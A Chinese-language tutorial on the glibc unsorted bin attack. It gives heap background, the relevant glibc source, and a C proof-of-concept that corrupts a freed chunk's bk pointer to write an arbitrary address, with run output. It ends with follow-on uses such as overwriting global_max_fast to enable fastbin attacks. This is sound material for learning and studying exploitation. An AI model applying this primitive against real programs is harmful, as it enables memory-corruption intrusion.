概述
- Unsorted Bin Attack ,該攻擊與 Glibc 堆管理中的 Unsorted Bin 的機制緊密相關。
- Unsorted Bin Attack 被利用的前提是控制 Unosrted Bin Chunk 的 bk 指針。
- Unsorted Bin Attack 可以達到的效果是實現修改任意地址值為一個較大的數值。
Unsorted Bin 基礎知識
基本來源
- 當一個較大的 chunk 被分割成兩半后,如果剩下的部分大於 MINSIZE ,就會被放到 unsorted bin 中。
- 釋放一個不屬於fast bin 的 chunk ,釋放一個不屬於 fast bin 的 chunk,並且該 chunk 不和 top chunk 緊鄰時,該 chunk 會被首先放到 unsorted bin 中。
- 當進行 malloc_consolidate 時,可能會把合並后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近鄰的話。
基本使用情況
- Unsorted Bin 在使用的過程中,采用的遍歷順序是 FIFO,即插入到 unsorted bin 的頭部,去除的時候從鏈表尾獲取。
- 在程序 malloc 時,如果在 fastbin、small bin 中找不到對應大小的 chunk ,就會嘗試從 Unsorted Bin 中尋找 chunk 。如果取出來的 chunk 大小剛好滿足,就會直接返回給用戶,否則就會把這些 chunk 分別插入到對應的 bin 中。
原理
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
如源碼所示,當將一個 unsorted bin 取出的時候,會將 bck->fd 的位置 寫入本 Usorted Bin 的位置。換而言之,如果我們控制了 bk 的值,我們就能將 unsorted_chunks(av) 寫道任意地址。
#include <stdio.h>
#include <stdlib.h>
int main() {
fprintf(stderr, "This file demonstrates unsorted bin attack by write a large "
"unsigned long value into stack\n");
fprintf(
stderr,
"In practice, unsorted bin attack is generally prepared for further "
"attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n");
unsigned long target_var = 0;
fprintf(stderr,
"Let's first look at the target we want to rewrite on stack:\n");
fprintf(stderr, "%p: %ld\n\n", &target_var, target_var);
unsigned long *p = malloc(400);
fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",
p);
fprintf(stderr, "And allocate another normal chunk in order to avoid "
"consolidating the top chunk with"
"the first one during the free()\n\n");
malloc(500);
free(p);
fprintf(stderr, "We free the first chunk now and it will be inserted in the "
"unsorted bin with its bk pointer "
"point to %p\n",
(void *)p[1]);
/*------------VULNERABILITY-----------*/
p[1] = (unsigned long)(&target_var - 2);
fprintf(stderr, "Now emulating a vulnerability that can overwrite the "
"victim->bk pointer\n");
fprintf(stderr, "And we write it with the target address-16 (in 32-bits "
"machine, it should be target address-8):%p\n\n",
(void *)p[1]);
//------------------------------------
malloc(400);
fprintf(stderr, "Let's malloc again to get the chunk we just free. During "
"this time, target should has already been "
"rewrite:\n");
fprintf(stderr, "%p: %p\n", &target_var, (void *)target_var);
}
運行結果
This file demonstrates unsorted bin attack by write a large unsigned long value into stack
In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the global variable global_max_fast in libc for further fastbin attack
Let's first look at the target we want to rewrite on stack:
0x7ffcf6a12508: 0
Now, we allocate first normal chunk on the heap at: 0xd7f010
And allocate another normal chunk in order to avoid consolidating the top chunk withthe first one during the free()
We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer point to 0x7f2b9537db78
Now emulating a vulnerability that can overwrite the victim->bk pointer
And we write it with the target address-16 (in 32-bits machine, it should be target address-8):0x7ffcf6a124f8
Let's malloc again to get the chunk we just free. During this time, target should has already been rewrite:
0x7ffcf6a12508: 0x7f2b9537db78
這段程序表明我們可以將 unsroted bin 鏈表頭的地址寫入任意地址(&target_var)具體過程為
victim = unsorted_chunks(av)->bk=p
bck = victim->bk=p->bk = target addr-16
unsorted_chunks(av)->bk = bck=target addr-16
bck->fd = *(target addr -16+16) = unsorted_chunks(av);
需要注意的是,由於 fd 指針被修改,所以下次插入 chunk 的時候可能程序會出現問題。
利用方式
- 通過修改循環的次數來使得程序可以執行多次循環。
- 可以修改 heap 中的 global_max_fast 來使得更大的 chunk 可以被視為 fastbin ,這樣我們就可以取執行一些 fast bin attack 了。